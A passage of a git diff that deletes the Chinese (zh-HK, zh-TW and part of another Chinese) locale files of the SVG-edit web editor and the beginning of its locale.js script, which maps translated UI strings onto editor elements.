-		"linejoin_round": "Linejoin: Round",
-		"angle": "旋转角度的变化",
-		"blur": "Change gaussian blur value",
-		"opacity": "更改所选项目不透明",
-		"circle_cx": "改变循环的CX坐标",
-		"circle_cy": "改变循环的赛扬坐标",
-		"circle_r": "改变圆的半径",
-		"ellipse_cx": "改变椭圆的CX坐标",
-		"ellipse_cy": "改变椭圆的赛扬坐标",
-		"ellipse_rx": "改变椭圆的x半径",
-		"ellipse_ry": "改变椭圆的y半径",
-		"line_x1": "更改行的起点的x坐标",
-		"line_x2": "更改行的结束x坐标",
-		"line_y1": "更改行的起点的y坐标",
-		"line_y2": "更改行的结束y坐标",
-		"rect_height": "更改矩形的高度",
-		"rect_width": "更改矩形的宽度",
-		"corner_radius": "角半径：",
-		"image_width": "更改图像的宽度",
-		"image_height": "更改图像高度",
-		"image_url": "更改网址",
-		"node_x": "Change node's x coordinate",
-		"node_y": "Change node's y coordinate",
-		"seg_type": "Change Segment type",
-		"straight_segments": "Straight",
-		"curve_segments": "Curve",
-		"text_contents": "更改文字内容",
-		"font_family": "更改字体家族",
-		"font_size": "更改字体大小",
-		"bold": "粗体",
-		"italic": "斜体文本"
-	},
-	tools: { 
-		"main_menu": "Main Menu",
-		"bkgnd_color_opac": "更改背景颜色/不透明",
-		"connector_no_arrow": "No arrow",
-		"fitToContent": "适合内容",
-		"fit_to_all": "适合于所有的内容",
-		"fit_to_canvas": "适合画布",
-		"fit_to_layer_content": "适合层内容",
-		"fit_to_sel": "适合选择",
-		"align_relative_to": "相对对齐 ...",
-		"relativeTo": "相对于:",
-		"网页": "网页",
-		"largest_object": "最大对象",
-		"selected_objects": "选对象",
-		"smallest_object": "最小的对象",
-		"new_doc": "新形象",
-		"open_doc": "打开图像",
-		"export_png": "Export as PNG",
-		"save_doc": "保存图像",
-		"import_doc": "Import SVG",
-		"align_to_page": "Align Element to Page",
-		"align_bottom": "底部对齐",
-		"align_center": "居中对齐",
-		"align_left": "左对齐",
-		"align_middle": "中间对齐",
-		"align_right": "右对齐",
-		"align_top": "顶端对齐",
-		"mode_select": "选择工具",
-		"mode_fhpath": "铅笔工具",
-		"mode_line": "线工具",
-		"mode_connect": "Connect two objects",
-		"mode_rect": "Rectangle Tool",
-		"mode_square": "Square Tool",
-		"mode_fhrect": "免费手矩形",
-		"mode_ellipse": "椭圆",
-		"mode_circle": "圈",
-		"mode_fhellipse": "免费手椭圆",
-		"mode_path": "Path Tool",
-		"mode_shapelib": "Shape library",
-		"mode_text": "文字工具",
-		"mode_image": "图像工具",
-		"mode_zoom": "缩放工具",
-		"mode_eyedropper": "Eye Dropper Tool",
-		"no_embed": "NOTE: This image cannot be embedded. It will depend on this path to be displayed",
-		"undo": "撤消",
-		"redo": "重做",
-		"tool_source": "编辑源",
-		"wireframe_mode": "Wireframe Mode",
-		"toggle_grid": "Show/Hide Grid",
-		"clone": "Clone Element(s)",
-		"del": "Delete Element(s)",
-		"group": "族元素",
-		"make_link": "Make (hyper)link",
-		"set_link_url": "Set link URL (leave empty to remove)",
-		"to_path": "Convert to Path",
-		"reorient_path": "Reorient path",
-		"ungroup": "取消组合元素",
-		"docprops": "文档属性",
-		"imagelib": "Image Library",
-		"move_bottom": "移至底部",
-		"move_top": "移动到顶部",
-		"node_clone": "Clone Node",
-		"node_delete": "Delete Node",
-		"node_link": "Link Control Points",
-		"add_subpath": "Add sub-path",
-		"openclose_path": "Open/close sub-path",
-		"source_save": "保存",
-		"cut": "Cut",
-		"copy": "Copy",
-		"paste": "Paste",
-		"paste_in_place": "Paste in Place",
-		"delete": "Delete",
-		"group": "Group",
-		"move_front": "Bring to Front",
-		"move_up": "Bring Forward",
-		"move_down": "Send Backward",
-		"move_back": "Send to Back"
-	},
-	layers: {
-		"layer":"Layer",
-		"layers": "Layers",
-		"del": "删除层",
-		"move_down": "层向下移动",
-		"new": "新层",
-		"rename": "重命名层",
-		"move_up": "移动层最多",
-		"dupe": "Duplicate Layer",
-		"merge_down": "Merge Down",
-		"merge_all": "Merge All",
-		"move_elems_to": "Move elements to:",
-		"move_selected": "Move selected elements to a different layer"
-	},
-	config: {
-		"image_props": "Image Properties",
-		"doc_title": "Title",
-		"doc_dims": "Canvas Dimensions",
-		"included_images": "Included Images",
-		"image_opt_embed": "Embed data (local files)",
-		"image_opt_ref": "Use file reference",
-		"editor_prefs": "Editor Preferences",
-		"icon_size": "Icon size",
-		"language": "Language",
-		"background": "Editor Background",
-		"editor_img_url": "Image URL",
-		"editor_bg_note": "Note: Background will not be saved with image.",
-		"icon_large": "Large",
-		"icon_medium": "Medium",
-		"icon_small": "Small",
-		"icon_xlarge": "Extra Large",
-		"select_predefined": "选择预定义:",
-		"units_and_rulers": "Units & Rulers",
-		"show_rulers": "Show rulers",
-		"base_unit": "Base Unit:",
-		"grid": "Grid",
-		"snapping_onoff": "Snapping on/off",
-		"snapping_stepsize": "Snapping Step-Size:"
-	},
-	shape_cats: {
-		"basic": "Basic",
-		"object": "Objects",
-		"symbol": "Symbols",
-		"arrow": "Arrows",
-		"flowchart": "Flowchart",
-		"animal": "Animals",
-		"game": "Cards & Chess",
-		"dialog_balloon": "Dialog balloons",
-		"electronics": "Electronics",
-		"math": "Mathematical",
-		"music": "Music",
-		"misc": "Miscellaneous",
-		"raphael_1": "raphaeljs.com set 1",
-		"raphael_2": "raphaeljs.com set 2"
-	},
-	imagelib: {
-		"select_lib": "Select an image library",
-		"show_list": "Show library list",
-		"import_single": "Import single",
-		"import_multi": "Import multiple",
-		"open": "Open as new document"
-	},
-	notification: {
-		"invalidAttrValGiven":"Invalid value given",
-		"noContentToFitTo":"No content to fit to",
-		"dupeLayerName":"There is already a layer named that!",
-		"enterUniqueLayerName":"Please enter a unique layer name",
-		"enterNewLayerName":"Please enter the new layer name",
-		"layerHasThatName":"Layer already has that name",
-		"QmoveElemsToLayer":"Move selected elements to layer '%s'?",
-		"QwantToClear":"Do you want to clear the drawing?\nThis will also erase your undo history!",
-		"QwantToOpen":"Do you want to open a new file?\nThis will also erase your undo history!",
-		"QerrorsRevertToSource":"There were parsing errors in your SVG source.\nRevert back to original SVG source?",
-		"QignoreSourceChanges":"Ignore changes made to SVG source?",
-		"featNotSupported":"Feature not supported",
-		"enterNewImgURL":"Enter the new image URL",
-		"defsFailOnSave": "NOTE: Due to a bug in your browser, this image may appear wrong (missing gradients or elements). It will however appear correct once actually saved.",
-		"loadingImage":"Loading image, please wait...",
-		"saveFromBrowser": "Select \"Save As...\" in your browser to save this image as a %s file.",
-		"noteTheseIssues": "Also note the following issues: ",
-		"unsavedChanges": "There are unsaved changes.",
-		"enterNewLinkURL": "Enter the new hyperlink URL",
-		"errorLoadingSVG": "Error: Unable to load SVG data",
-		"URLloadFail": "Unable to load from URL",
-		"retrieving": "Retrieving \"%s\"..."
-	}
-});
\ No newline at end of file
diff --git a/public/svg-edit/editor/locale/lang.zh-HK.js b/public/svg-edit/editor/locale/lang.zh-HK.js
deleted file mode 100644
index 06a55a78..00000000
--- a/public/svg-edit/editor/locale/lang.zh-HK.js
+++ /dev/null
@@ -1,234 +0,0 @@
-svgEditor.readLang({
-	lang: "zh-HK",
-	dir : "ltr",
-	common: {
-		"ok": "保存",
-		"cancel": "取消",
-		"key_backspace": "backspace", 
-		"key_del": "delete", 
-		"key_down": "down", 
-		"key_up": "up", 
-		"more_opts": "More Options",
-		"url": "URL",
-		"width": "Width",
-		"height": "Height"
-	},
-	misc: {
-		"powered_by": "Powered by"
-	}, 
-	ui: {
-		"toggle_stroke_tools": "Show/hide more stroke tools",
-		"palette_info": "点击更改填充颜色，按住Shift键单击更改颜色中风",
-		"zoom_level": "更改缩放级别",
-		"panel_drag": "Drag left/right to resize side panel"
-	},
-	properties: {
-		"id": "Identify the element",
-		"fill_color": "更改填充颜色",
-		"stroke_color": "中风的颜色变化",
-		"stroke_style": "更改行程冲刺风格",
-		"stroke_width": "笔划宽度的变化",
-		"pos_x": "Change X coordinate",
-		"pos_y": "Change Y coordinate",
-		"linecap_butt": "Linecap: Butt",
-		"linecap_round": "Linecap: Round",
-		"linecap_square": "Linecap: Square",
-		"linejoin_bevel": "Linejoin: Bevel",
-		"linejoin_miter": "Linejoin: Miter",
-		"linejoin_round": "Linejoin: Round",
-		"angle": "旋转角度的变化",
-		"blur": "Change gaussian blur value",
-		"opacity": "更改所选项目不透明",
-		"circle_cx": "改变循环的CX坐标",
-		"circle_cy": "改变循环的赛扬坐标",
-		"circle_r": "改变圆的半径",
-		"ellipse_cx": "改变椭圆的CX坐标",
-		"ellipse_cy": "改变椭圆的赛扬坐标",
-		"ellipse_rx": "改变椭圆的x半径",
-		"ellipse_ry": "改变椭圆的y半径",
-		"line_x1": "更改行的起点的x坐标",
-		"line_x2": "更改行的结束x坐标",
-		"line_y1": "更改行的起点的y坐标",
-		"line_y2": "更改行的结束y坐标",
-		"rect_height": "更改矩形的高度",
-		"rect_width": "更改矩形的宽度",
-		"corner_radius": "角半径：",
-		"image_width": "更改图像的宽度",
-		"image_height": "更改图像高度",
-		"image_url": "更改网址",
-		"node_x": "Change node's x coordinate",
-		"node_y": "Change node's y coordinate",
-		"seg_type": "Change Segment type",
-		"straight_segments": "Straight",
-		"curve_segments": "Curve",
-		"text_contents": "更改文字内容",
-		"font_family": "更改字体家族",
-		"font_size": "更改字体大小",
-		"bold": "粗体",
-		"italic": "斜体文本"
-	},
-	tools: { 
-		"main_menu": "Main Menu",
-		"bkgnd_color_opac": "更改背景颜色/不透明",
-		"connector_no_arrow": "No arrow",
-		"fitToContent": "适合内容",
-		"fit_to_all": "适合于所有的内容",
-		"fit_to_canvas": "适合画布",
-		"fit_to_layer_content": "适合层内容",
-		"fit_to_sel": "适合选择",
-		"align_relative_to": "相对对齐 ...",
-		"relativeTo": "相对于:",
-		"网页": "网页",
-		"largest_object": "最大对象",
-		"selected_objects": "选对象",
-		"smallest_object": "最小的对象",
-		"new_doc": "新形象",
-		"open_doc": "打开图像",
-		"export_png": "Export as PNG",
-		"save_doc": "保存图像",
-		"import_doc": "Import SVG",
-		"align_to_page": "Align Element to Page",
-		"align_bottom": "底部对齐",
-		"align_center": "居中对齐",
-		"align_left": "左对齐",
-		"align_middle": "中间对齐",
-		"align_right": "右对齐",
-		"align_top": "顶端对齐",
-		"mode_select": "选择工具",
-		"mode_fhpath": "铅笔工具",
-		"mode_line": "线工具",
-		"mode_connect": "Connect two objects",
-		"mode_rect": "Rectangle Tool",
-		"mode_square": "Square Tool",
-		"mode_fhrect": "免费手矩形",
-		"mode_ellipse": "椭圆",
-		"mode_circle": "圈",
-		"mode_fhellipse": "免费手椭圆",
-		"mode_path": "Path Tool",
-		"mode_shapelib": "Shape library",
-		"mode_text": "文字工具",
-		"mode_image": "图像工具",
-		"mode_zoom": "缩放工具",
-		"mode_eyedropper": "Eye Dropper Tool",
-		"no_embed": "NOTE: This image cannot be embedded. It will depend on this path to be displayed",
-		"undo": "撤消",
-		"redo": "重做",
-		"tool_source": "编辑源",
-		"wireframe_mode": "Wireframe Mode",
-		"toggle_grid": "Show/Hide Grid",
-		"clone": "Clone Element(s)",
-		"del": "Delete Element(s)",
-		"group": "族元素",
-		"make_link": "Make (hyper)link",
-		"set_link_url": "Set link URL (leave empty to remove)",
-		"to_path": "Convert to Path",
-		"reorient_path": "Reorient path",
-		"ungroup": "Ungroup Elements",
-		"docprops": "文档属性",
-		"imagelib": "Image Library",
-		"move_bottom": "移至底部",
-		"move_top": "移动到顶部",
-		"node_clone": "Clone Node",
-		"node_delete": "Delete Node",
-		"node_link": "Link Control Points",
-		"add_subpath": "Add sub-path",
-		"openclose_path": "Open/close sub-path",
-		"source_save": "保存",
-		"cut": "Cut",
-		"copy": "Copy",
-		"paste": "Paste",
-		"paste_in_place": "Paste in Place",
-		"delete": "Delete",
-		"group": "Group",
-		"move_front": "Bring to Front",
-		"move_up": "Bring Forward",
-		"move_down": "Send Backward",
-		"move_back": "Send to Back"
-	},
-	layers: {
-		"layer":"Layer",
-		"layers": "Layers",
-		"del": "删除层",
-		"move_down": "层向下移动",
-		"new": "新层",
-		"rename": "重命名层",
-		"move_up": "移动层最多",
-		"dupe": "Duplicate Layer",
-		"merge_down": "Merge Down",
-		"merge_all": "Merge All",
-		"move_elems_to": "Move elements to:",
-		"move_selected": "Move selected elements to a different layer"
-	},
-	config: {
-		"image_props": "Image Properties",
-		"doc_title": "Title",
-		"doc_dims": "Canvas Dimensions",
-		"included_images": "Included Images",
-		"image_opt_embed": "Embed data (local files)",
-		"image_opt_ref": "Use file reference",
-		"editor_prefs": "Editor Preferences",
-		"icon_size": "Icon size",
-		"language": "Language",
-		"background": "Editor Background",
-		"editor_img_url": "Image URL",
-		"editor_bg_note": "Note: Background will not be saved with image.",
-		"icon_large": "Large",
-		"icon_medium": "Medium",
-		"icon_small": "Small",
-		"icon_xlarge": "Extra Large",
-		"select_predefined": "选择预定义:",
-		"units_and_rulers": "Units & Rulers",
-		"show_rulers": "Show rulers",
-		"base_unit": "Base Unit:",
-		"grid": "Grid",
-		"snapping_onoff": "Snapping on/off",
-		"snapping_stepsize": "Snapping Step-Size:"
-	},
-	shape_cats: {
-		"basic": "Basic",
-		"object": "Objects",
-		"symbol": "Symbols",
-		"arrow": "Arrows",
-		"flowchart": "Flowchart",
-		"animal": "Animals",
-		"game": "Cards & Chess",
-		"dialog_balloon": "Dialog balloons",
-		"electronics": "Electronics",
-		"math": "Mathematical",
-		"music": "Music",
-		"misc": "Miscellaneous",
-		"raphael_1": "raphaeljs.com set 1",
-		"raphael_2": "raphaeljs.com set 2"
-	},
-	imagelib: {
-		"select_lib": "Select an image library",
-		"show_list": "Show library list",
-		"import_single": "Import single",
-		"import_multi": "Import multiple",
-		"open": "Open as new document"
-	},
-	notification: {
-		"invalidAttrValGiven":"Invalid value given",
-		"noContentToFitTo":"No content to fit to",
-		"dupeLayerName":"There is already a layer named that!",
-		"enterUniqueLayerName":"Please enter a unique layer name",
-		"enterNewLayerName":"Please enter the new layer name",
-		"layerHasThatName":"Layer already has that name",
-		"QmoveElemsToLayer":"Move selected elements to layer '%s'?",
-		"QwantToClear":"Do you want to clear the drawing?\nThis will also erase your undo history!",
-		"QwantToOpen":"Do you want to open a new file?\nThis will also erase your undo history!",
-		"QerrorsRevertToSource":"There were parsing errors in your SVG source.\nRevert back to original SVG source?",
-		"QignoreSourceChanges":"Ignore changes made to SVG source?",
-		"featNotSupported":"Feature not supported",
-		"enterNewImgURL":"Enter the new image URL",
-		"defsFailOnSave": "NOTE: Due to a bug in your browser, this image may appear wrong (missing gradients or elements). It will however appear correct once actually saved.",
-		"loadingImage":"Loading image, please wait...",
-		"saveFromBrowser": "Select \"Save As...\" in your browser to save this image as a %s file.",
-		"noteTheseIssues": "Also note the following issues: ",
-		"unsavedChanges": "There are unsaved changes.",
-		"enterNewLinkURL": "Enter the new hyperlink URL",
-		"errorLoadingSVG": "Error: Unable to load SVG data",
-		"URLloadFail": "Unable to load from URL",
-		"retrieving": "Retrieving \"%s\"..."
-	}
-});
\ No newline at end of file
diff --git a/public/svg-edit/editor/locale/lang.zh-TW.js b/public/svg-edit/editor/locale/lang.zh-TW.js
deleted file mode 100644
index 5d32e0fb..00000000
--- a/public/svg-edit/editor/locale/lang.zh-TW.js
+++ /dev/null
@@ -1,234 +0,0 @@
-svgEditor.readLang({
-	lang: "zh-TW",
-	dir : "ltr",
-	common: {
-		"ok": "保存",
-		"cancel": "取消",
-		"key_backspace": "空白", 
-		"key_del": "刪除", 
-		"key_down": "下", 
-		"key_up": "上", 
-		"more_opts": "More Options",
-		"url": "URL",
-		"width": "Width",
-		"height": "Height"
-	},
-	misc: {
-		"powered_by": "Powered by"
-	}, 
-	ui: {
-		"toggle_stroke_tools": "Show/hide more stroke tools",
-		"palette_info": "點擊更改填充顏色，按住Shift鍵單擊更改線條顏色",
-		"zoom_level": "更改縮放級別",
-		"panel_drag": "Drag left/right to resize side panel"
-	},
-	properties: {
-		"id": "Identify the element",
-		"fill_color": "更改填充顏色",
-		"stroke_color": "線條顏色",
-		"stroke_style": "更改線條（虛線）風格",
-		"stroke_width": "線條寬度",
-		"pos_x": "調整 X 軸",
-		"pos_y": "調整 Y 軸",
-		"linecap_butt": "Linecap: Butt",
-		"linecap_round": "Linecap: Round",
-		"linecap_square": "Linecap: Square",
-		"linejoin_bevel": "Linejoin: Bevel",
-		"linejoin_miter": "Linejoin: Miter",
-		"linejoin_round": "Linejoin: Round",
-		"angle": "旋轉角度",
-		"blur": "Change gaussian blur value",
-		"opacity": "更改所選項目不透明度",
-		"circle_cx": "改變圓的CX坐標",
-		"circle_cy": "改變圓的CY坐標",
-		"circle_r": "改變圓的半徑",
-		"ellipse_cx": "改變橢圓的圓心x軸座標",
-		"ellipse_cy": "改變橢圓的圓心y軸座標",
-		"ellipse_rx": "改變橢圓的x軸長",
-		"ellipse_ry": "改變橢圓的y軸長",
-		"line_x1": "更改行的起點的x坐標",
-		"line_x2": "更改行的終點x坐標",
-		"line_y1": "更改行的起點的y坐標",
-		"line_y2": "更改行的終點y坐標",
-		"rect_height": "更改矩形的高度",
-		"rect_width": "更改矩形的寬度",
-		"corner_radius": "角半徑：",
-		"image_width": "更改圖像的寬度",
-		"image_height": "更改圖像高度",
-		"image_url": "更改網址",
-		"node_x": "改變節點的x軸座標",
-		"node_y": "改變節點的y軸座標",
-		"seg_type": "Change Segment type",
-		"straight_segments": "直線",
-		"curve_segments": "曲線",
-		"text_contents": "更改文字內容",
-		"font_family": "更改字體",
-		"font_size": "更改字體大小",
-		"bold": "粗體",
-		"italic": "斜體"
-	},
-	tools: { 
-		"main_menu": "Main Menu",
-		"bkgnd_color_opac": "更改背景顏色/不透明",
-		"connector_no_arrow": "No arrow",
-		"fitToContent": "適合內容",
-		"fit_to_all": "適合所有的內容",
-		"fit_to_canvas": "適合畫布",
-		"fit_to_layer_content": "適合圖層內容",
-		"fit_to_sel": "適合選取的物件",
-		"align_relative_to": "相對對齊 ...",
-		"relativeTo": "相對於:",
-		"網頁": "網頁",
-		"largest_object": "最大的物件",
-		"selected_objects": "選取物件",
-		"smallest_object": "最小的物件",
-		"new_doc": "清空圖像",
-		"open_doc": "打開圖像",
-		"export_png": "Export as PNG",
-		"save_doc": "保存圖像",
-		"import_doc": "Import SVG",
-		"align_to_page": "Align Element to Page",
-		"align_bottom": "底部對齊",
-		"align_center": "居中對齊",
-		"align_left": "向左對齊",
-		"align_middle": "中間對齊",
-		"align_right": "向右對齊",
-		"align_top": "頂端對齊",
-		"mode_select": "選擇工具",
-		"mode_fhpath": "鉛筆工具",
-		"mode_line": "線工具",
-		"mode_connect": "Connect two objects",
-		"mode_rect": "Rectangle Tool",
-		"mode_square": "Square Tool",
-		"mode_fhrect": "徒手畫矩形",
-		"mode_ellipse": "橢圓",
-		"mode_circle": "圓",
-		"mode_fhellipse": "徒手畫橢圓",
-		"mode_path": "路徑工具",
-		"mode_shapelib": "Shape library",
-		"mode_text": "文字工具",
-		"mode_image": "圖像工具",
-		"mode_zoom": "縮放工具",
-		"mode_eyedropper": "Eye Dropper Tool",
-		"no_embed": "NOTE: This image cannot be embedded. It will depend on this path to be displayed",
-		"undo": "取消復原",
-		"redo": "復原",
-		"tool_source": "編輯SVG原始碼",
-		"wireframe_mode": "框線模式（只瀏覽線條）",
-		"toggle_grid": "Show/Hide Grid",
-		"clone": "Clone Element(s)",
-		"del": "Delete Element(s)",
-		"group": "群組",
-		"make_link": "Make (hyper)link",
-		"set_link_url": "Set link URL (leave empty to remove)",
-		"to_path": "轉換成路徑",
-		"reorient_path": "調整路徑",
-		"ungroup": "取消群組",
-		"docprops": "文件屬性",
-		"imagelib": "Image Library",
-		"move_bottom": "移至底部",
-		"move_top": "移動到頂部",
-		"node_clone": "增加節點",
-		"node_delete": "刪除節點",
-		"node_link": "將控制點連起來",
-		"add_subpath": "Add sub-path",
-		"openclose_path": "Open/close sub-path",
-		"source_save": "保存",
-		"cut": "Cut",
-		"copy": "Copy",
-		"paste": "Paste",
-		"paste_in_place": "Paste in Place",
-		"刪除": "Delete",
-		"group": "Group",
-		"move_front": "Bring to Front",
-		"move_up": "Bring Forward",
-		"move_down": "Send Backward",
-		"move_back": "Send to Back"
-	},
-	layers: {
-		"layer":"圖層",
-		"layers": "Layers",
-		"del": "刪除圖層",
-		"move_down": "向下移動圖層",
-		"new": "新增圖層",
-		"rename": "重新命名圖層",
-		"move_up": "向上移動圖層",
-		"dupe": "Duplicate Layer",
-		"merge_down": "Merge Down",
-		"merge_all": "Merge All",
-		"move_elems_to": "移動物件到:",
-		"move_selected": "移動被點選的物件其他圖層"
-	},
-	config: {
-		"image_props": "圖片屬性",
-		"doc_title": "標題",
-		"doc_dims": "畫布大小",
-		"included_images": "包含圖像",
-		"image_opt_embed": "內嵌資料 (本地端檔案)",
-		"image_opt_ref": "使用檔案參照",
-		"editor_prefs": "編輯器屬性",
-		"icon_size": "圖示大小",
-		"language": "語言",
-		"background": "編輯器背景",
-		"editor_img_url": "Image URL",
-		"editor_bg_note": "注意: 編輯器背景不會和圖像一起儲存",
-		"icon_large": "大",
-		"icon_medium": "中",
-		"icon_small": "小",
-		"icon_xlarge": "特大",
-		"select_predefined": "使用預設值:",
-		"units_and_rulers": "Units & Rulers",
-		"show_rulers": "Show rulers",
-		"base_unit": "Base Unit:",
-		"grid": "Grid",
-		"snapping_onoff": "Snapping on/off",
-		"snapping_stepsize": "Snapping Step-Size:"
-	},
-	shape_cats: {
-		"basic": "Basic",
-		"object": "Objects",
-		"symbol": "Symbols",
-		"arrow": "Arrows",
-		"flowchart": "Flowchart",
-		"animal": "Animals",
-		"game": "Cards & Chess",
-		"dialog_balloon": "Dialog balloons",
-		"electronics": "Electronics",
-		"math": "Mathematical",
-		"music": "Music",
-		"misc": "Miscellaneous",
-		"raphael_1": "raphaeljs.com set 1",
-		"raphael_2": "raphaeljs.com set 2"
-	},
-	imagelib: {
-		"select_lib": "Select an image library",
-		"show_list": "Show library list",
-		"import_single": "Import single",
-		"import_multi": "Import multiple",
-		"open": "Open as new document"
-	},
-	notification: {
-		"invalidAttrValGiven":"數值給定錯誤",
-		"noContentToFitTo":"找不到符合的內容",
-		"dupeLayerName":"喔不！已經有另一個同樣名稱的圖層了！",
-		"enterUniqueLayerName":"請輸入一個名稱不重複的",
-		"enterNewLayerName":"請輸入新圖層的名稱",
-		"layerHasThatName":"圖層本來就是這個名稱（抱怨）",
-		"QmoveElemsToLayer":"要搬移所選取的物件到'%s'層嗎?",
-		"QwantToClear":"要清空圖像嗎？\n這會順便清空你的回復紀錄！",
-		"QwantToOpen":"Do you want to open a new file?\nThis will also erase your undo history!",
-		"QerrorsRevertToSource":"SVG原始碼解析錯誤\n要回復到原本的SVG原始碼嗎？",
-		"QignoreSourceChanges":"要忽略對SVG原始碼的更動嗎？",
-		"featNotSupported":"未提供此功能",
-		"enterNewImgURL":"輸入新的圖片網址",
-		"defsFailOnSave": "NOTE: Due to a bug in your browser, this image may appear wrong (missing gradients or elements). It will however appear correct once actually saved.",
-		"loadingImage":"Loading image, please wait...",
-		"saveFromBrowser": "Select \"Save As...\" in your browser to save this image as a %s file.",
-		"noteTheseIssues": "Also note the following issues: ",
-		"unsavedChanges": "There are unsaved changes.",
-		"enterNewLinkURL": "Enter the new hyperlink URL",
-		"errorLoadingSVG": "Error: Unable to load SVG data",
-		"URLloadFail": "Unable to load from URL",
-		"retrieving": "Retrieving \"%s\"..."
-	}
-});
\ No newline at end of file
diff --git a/public/svg-edit/editor/locale/locale.js b/public/svg-edit/editor/locale/locale.js
deleted file mode 100644
index 9538905e..00000000
--- a/public/svg-edit/editor/locale/locale.js
+++ /dev/null
@@ -1,320 +0,0 @@
-/*
- * Localizing script for SVG-edit UI
- *
- * Licensed under the Apache License, Version 2
- *
- * Copyright(c) 2010 Narendra Sisodya
- * Copyright(c) 2010 Alexis Deveria
- *
- */
-
-// Dependencies
-// 1) jQuery
-// 2) svgcanvas.js
-// 3) svg-editor.js
-
-var svgEditor = (function($, Editor) {
-
-	var lang_param;
-	
-	function setStrings(type, obj, ids) {
-		// Root element to look for element from
-		var parent = $('#svg_editor').parent();
-		for(var sel in obj) {
-			var val = obj[sel];
-			if(!val) console.log(sel);
-			
-			if(ids) sel = '#' + sel;
-			var $elem = parent.find(sel);
-			if($elem.length) {
-				var elem = parent.find(sel)[0];
-				
-				switch ( type ) {
-					case 'content':
-						for(var i = 0; i < elem.childNodes.length; i++) {
-							var node = elem.childNodes[i];
-							if(node.nodeType === 3 && node.textContent.replace(/\s/g,'')) {
-								node.textContent = val;
-								break;
-							}
-						}
-						break;
-					
-					case 'title':
-						elem.title = val;
-						break;
-				}
-				
-				
-			} else {
-				console.log('Missing: ' + sel);
-			}
-		}
-	}
-
-	Editor.readLang = function(langData) {
-		var more = Editor.canvas.runExtensions("addlangData", lang_param, true);
-		$.each(more, function(i, m) {
-			if(m.data) {
-				langData = $.merge(langData, m.data);
-			}
-		});
-		
-		// Old locale file, do nothing for now.
-		if(!langData.tools) return;
-		
-		var tools = langData.tools,
-			misc = langData.misc,
-			properties = langData.properties,
-			config = langData.config,
-			layers = langData.layers,
-			common = langData.common,
-			ui = langData.ui;
-		
-		setStrings('content', {
-			copyrightLabel: misc.powered_by,
-			curve_segments: properties.curve_segments,
-			fitToContent: tools.fitToContent,
-			fit_to_all: tools.fit_to_all,
-			fit_to_canvas: tools.fit_to_canvas,
-			fit_to_layer_content: tools.fit_to_layer_content,
-			fit_to_sel: tools.fit_to_sel,
-			
-			icon_large: config.icon_large,
-			icon_medium: config.icon_medium,
-			icon_small: config.icon_small,
-			icon_xlarge: config.icon_xlarge,
-			image_opt_embed: config.image_opt_embed,
-			image_opt_ref: config.image_opt_ref,
-			includedImages: config.included_images,
-			
-			largest_object: tools.largest_object,
-			
-			layersLabel: layers.layers,
-			page: tools.page,
-			relativeToLabel: tools.relativeTo,
-			selLayerLabel: layers.move_elems_to,
-			selectedPredefined: config.select_predefined,
-			
-			selected_objects: tools.selected_objects,
-			smallest_object: tools.smallest_object,
-			straight_segments: properties.straight_segments,
-			
-			svginfo_bg_url: config.editor_img_url + ":",
-			svginfo_bg_note: config.editor_bg_note,
-			svginfo_change_background: config.background,
-			svginfo_dim: config.doc_dims,
-			svginfo_editor_prefs: config.editor_prefs,
-			svginfo_height: common.height,
-			svginfo_icons: config.icon_size,
-			svginfo_image_props: config.image_props,
-			svginfo_lang: config.language,
-			svginfo_title: config.doc_title,
-			svginfo_width: common.width,
-			
-			tool_docprops_cancel: common.cancel,
-			tool_docprops_save: common.ok,
-
-			tool_source_cancel: common.cancel,
-			tool_source_save: common.ok,
-			
-			tool_prefs_cancel: common.cancel,
-			tool_prefs_save: common.ok,
-
-			sidepanel_handle: layers.layers.split('').join(' '),
-
-			tool_clear: tools.new_doc,
-			tool_docprops: tools.docprops,
-			tool_export: tools.export_png,
-			tool_import: tools.import_doc,
-			tool_imagelib: tools.imagelib,
-			tool_open: tools.open_doc,
-			tool_save: tools.save_doc,
-			
-			svginfo_units_rulers: config.units_and_rulers,
-			svginfo_rulers_onoff: config.show_rulers,
-			svginfo_unit: config.base_unit,
-			
-			svginfo_grid_settings: config.grid,
-			svginfo_snap_onoff: config.snapping_onoff,
-			svginfo_snap_step: config.snapping_stepsize
-		}, true);
-		
-		// Shape categories
-		var cats = {};
-		for (var o in langData.shape_cats) {
-			cats['#shape_cats [data-cat="' + o + '"]'] = langData.shape_cats[o];
-		}
-		
-		// TODO: Find way to make this run after shapelib ext has loaded
-		setTimeout(function() {
-			setStrings('content', cats);
-		}, 2000);
-		
-		// Context menus
-		var opts = {};
-		$.each(['cut','copy','paste', 'paste_in_place', 'delete', 'group', 'ungroup', 'move_front', 'move_up', 'move_down', 'move_back'], function() {
-			opts['#cmenu_canvas a[href="#' + this + '"]'] = tools[this];
-		});
-
-		$.each(['dupe','merge_down', 'merge_all'], function() {
-			opts['#cmenu_layers a[href="#' + this + '"]'] = layers[this];
-		});
-
-		opts['#cmenu_layers a[href="#delete"]'] = layers.del;
-		
-		setStrings('content', opts);
-		
-		setStrings('title', {
-			align_relative_to: tools.align_relative_to,
-			circle_cx: properties.circle_cx,
-			circle_cy: properties.circle_cy,
-			circle_r: properties.circle_r,
-			cornerRadiusLabel: properties.corner_radius,
-			ellipse_cx: properties.ellipse_cx,
-			ellipse_cy: properties.ellipse_cy,
-			ellipse_rx: properties.ellipse_rx,
-			ellipse_ry: properties.ellipse_ry,
-			fill_color: properties.fill_color,
-			font_family: properties.font_family,
-			idLabel: properties.id,
-			image_height: properties.image_height,
-			image_url: properties.image_url,
-			image_width: properties.image_width,
-			layer_delete: layers.del,
-			layer_down: layers.move_down,
-			layer_new: layers['new'],
-			layer_rename: layers.rename,
-			layer_moreopts: common.more_opts,
-			layer_up: layers.move_up,
-			line_x1: properties.line_x1,
-			line_x2: properties.line_x2,
-			line_y1: properties.line_y1,
-			line_y2: properties.line_y2,
-			linecap_butt: properties.linecap_butt,
-			linecap_round: properties.linecap_round,
-			linecap_square: properties.linecap_square,
-			linejoin_bevel: properties.linejoin_bevel,
-			linejoin_miter: properties.linejoin_miter,
-			linejoin_round: properties.linejoin_round,
-			main_icon: tools.main_menu,
-			mode_connect: tools.mode_connect,
-			tools_shapelib_show: tools.mode_shapelib,
-			palette: ui.palette_info,
-			zoom_panel: ui.zoom_level,
-			path_node_x: properties.node_x,
-			path_node_y: properties.node_y,
-			rect_height_tool: properties.rect_height,
-			rect_width_tool: properties.rect_width,
-			seg_type: properties.seg_type,
-			selLayerNames: layers.move_selected,
-			selected_x: properties.pos_x,
-			selected_y: properties.pos_y,
-			stroke_color: properties.stroke_color,
-			stroke_style: properties.stroke_style,
